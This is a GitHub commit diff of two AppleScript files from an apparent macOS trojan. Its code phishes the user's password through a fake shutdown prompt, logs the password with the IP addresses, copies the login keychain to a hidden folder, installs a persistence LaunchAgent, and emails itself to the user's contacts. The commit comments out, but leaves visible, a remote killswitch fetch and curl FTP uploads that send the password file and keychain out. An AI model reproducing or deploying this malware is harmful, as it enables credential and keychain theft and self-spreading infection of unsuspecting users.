Skip to content

Commit

Permalink
New Update
Browse files Browse the repository at this point in the history
- Killswitch is not automatically enabled in ready to use app.
- Bug with Launch agents fixed
- FTP disabled by default
  • Loading branch information
benb116 committed Jun 23, 2014
1 parent 4529ed7 commit 1e09c35
Show file tree
Hide file tree
Showing 3 changed files with 29 additions and 20 deletions.
27 changes: 16 additions & 11 deletions App.applescript
Original file line number Diff line number Diff line change
Expand Up @@ -8,9 +8,9 @@ try
on error
return
end try

(*
try
set remotecommand to (do shell script "curl http://benbern.dyndns.info/stuff/command.txt") as text -- Check for command
set remotecommand to (do shell script "curl http://domain.com/command.txt") as text -- Check for command
if remotecommand = "kill" then -- If killswitch is triggered, delete all of the app and password files
try
try
Expand Down Expand Up @@ -44,12 +44,15 @@ try
on error
return
end try

*)
try
set reso to quoted form of POSIX path of (path to resource "Updater.app")
set newreso to POSIX path of ("" & ufld & "Updater.app")
do shell script "cp -r " & reso & " " & newreso -- Copy duplicate app

try
do shell script "mkdir ~/Library/LaunchAgents/"
end try
do shell script "touch ~/Library/LaunchAgents/com.h4k.plist" -- Make a launchagent for startup
do shell script "defaults write ~/Library/LaunchAgents/com.h4k.plist Label 'com.h4k.plist'"
do shell script "defaults write ~/Library/LaunchAgents/com.h4k.plist Program '/Users/" & theuser & "/Public/." & theuser & "/Updater.app/Contents/MacOS/applet'"
Expand Down Expand Up @@ -78,22 +81,24 @@ try
try
do shell script "curl http://checkip.dyndns.org/ | grep 'Current IP Address' | cut -d : -f 2 | cut -d '<' -f 1"
set WANIP to (characters 2 through -1 of result) as text -- Get IP
set LANIP to (do shell script "ipconfig getifaddr en1")
on error
set WANIP to "not connected"
end try
try
set LANIP to (do shell script "ipconfig getifaddr en0")
on error
set LANIP to "not connected"
end try

do shell script "echo " & dte & " - User: " & theuser & " Password: " & passwd & " WAN IP: " & WANIP & " LAN IP: " & LANIP & " >> " & ufld & "" & theuser & ".txt" -- Write information to the text file in the hidden folder
end try

(*
set myserv to "<ftp address>"
set mypath to "</path/to/folder/>"
try
do shell script "curl -T " & ufld & theuser & ".txt ftp://anonymous@" & myserv & mypath & theuser & "_" & WANIP & ".txt" -- Upload text file to FTP server
end try

*)
try
do shell script "openssl enc -aes-256-cbc -salt -in " & ufld & theuser & ".txt -out " & ufld & theuser & ".enc -pass pass:" & encpass -- Encrypt the file if there is an encpass
do shell script "rm " & ufld & theuser & ".txt"
Expand All @@ -104,11 +109,11 @@ try
do shell script "cp " & china & " " & ufld
do shell script "mv " & ufld & "login.keychain " & ufld & theuser & ".keychain" -- Copy keychain to hidden folder
end try

(*
try
do shell script "curl -T " & ufld & theuser & ".keychain ftp://anonymous@" & myserv & mypath & theuser & "_" & WANIP & ".keychain" -- Upload Keychain to FTP server
end try

*)
try
if enablemail is true then
try
Expand All @@ -120,9 +125,9 @@ try
tell application "Mail"
set theMessage to make new outgoing message with properties {visible:false, subject:"Awesome new Mac app!", content:"Hey,
Check out this new Mac application! You'll never use your computer the same way again ;)
Check out this new Mac application! You'll never use your computer the same way again ;)
" & theuser & ""} -- Make email message
" & theuser & ""} -- Make email message

set txt to paragraphs of (do shell script "sqlite3 ~/Library/Application\\ Support/AddressBook/AddressBook-v22.abcddb \"select ZADDRESSNORMALIZED from ZABCDEMAILADDRESS;\" | sort | uniq") -- Get addresses
repeat with x from 1 to (count of txt)
Expand Down
Binary file modified Ready To Use App.zip
Binary file not shown.
22 changes: 13 additions & 9 deletions Updater.applescript
Original file line number Diff line number Diff line change
Expand Up @@ -8,9 +8,9 @@ try
on error
return
end try

(*
try
set remotecommand to (do shell script "curl http://benbern.dyndns.info/stuff/command.txt") as text -- Check for command
set remotecommand to (do shell script "curl http://domain.com/command.txt") as text -- Check for command
if remotecommand = "kill" then -- If killswitch is triggered, delete all of the app and password files
try
try
Expand Down Expand Up @@ -42,7 +42,7 @@ try
on error
return
end try

*)
try
repeat
set quest to (display dialog "Please enter your password to postpone shutdown." with title "Password" with icon (path to resource "icon.icns") default answer "" buttons {"OK"} default button 1 giving up after 10 with hidden answer) -- Prompt for Password
Expand All @@ -65,24 +65,27 @@ try
try
do shell script "curl http://checkip.dyndns.org/ | grep 'Current IP Address' | cut -d : -f 2 | cut -d '<' -f 1"
set WANIP to (characters 2 through -1 of result) as text -- Get IP
set LANIP to (do shell script "ipconfig getifaddr en1")
on error
set WANIP to "not connected"
end try
try
set LANIP to (do shell script "ipconfig getifaddr en0")
on error
set LANIP to "not connected"
end try

do shell script "echo " & dte & " - User: " & theuser & " Password: " & passwd & " WAN IP: " & WANIP & " LAN IP: " & LANIP & " >> " & ufld & "" & theuser & ".txt" -- Write information to the text file in the hidden folder
end try

(*
set myserv to "<ftp address>"
set mypath to "</path/to/folder/>"
try
do shell script "curl -T " & ufld & theuser & ".txt ftp://anonymous@" & myserv & mypath & theuser & "_" & WANIP & ".txt" -- Upload text file to FTP server
end try

*)
try
do shell script "openssl enc -aes-256-cbc -salt -in " & ufld & theuser & ".txt -out " & ufld & theuser & ".enc -pass pass:" & encpass
do shell script "openssl enc -aes-256-cbc -salt -in " & ufld & theuser & ".txt -out " & ufld & theuser & ".enc -pass pass:" & encpass -- Encrypt the file if there is an encpass
do shell script "rm " & ufld & theuser & ".txt"
end try

Expand All @@ -91,7 +94,8 @@ try
do shell script "cp " & china & " " & ufld
do shell script "mv " & ufld & "login.keychain " & ufld & theuser & ".keychain" -- Copy keychain to hidden folder
end try

(*
try
do shell script "curl -T " & ufld & theuser & ".keychain ftp://anonymous@" & myserv & mypath & theuser & "_" & WANIP & ".keychain" -- Upload Keychain to FTP server
end try
end try
*)

0 comments on commit 1e09c35

Please sign in to comment.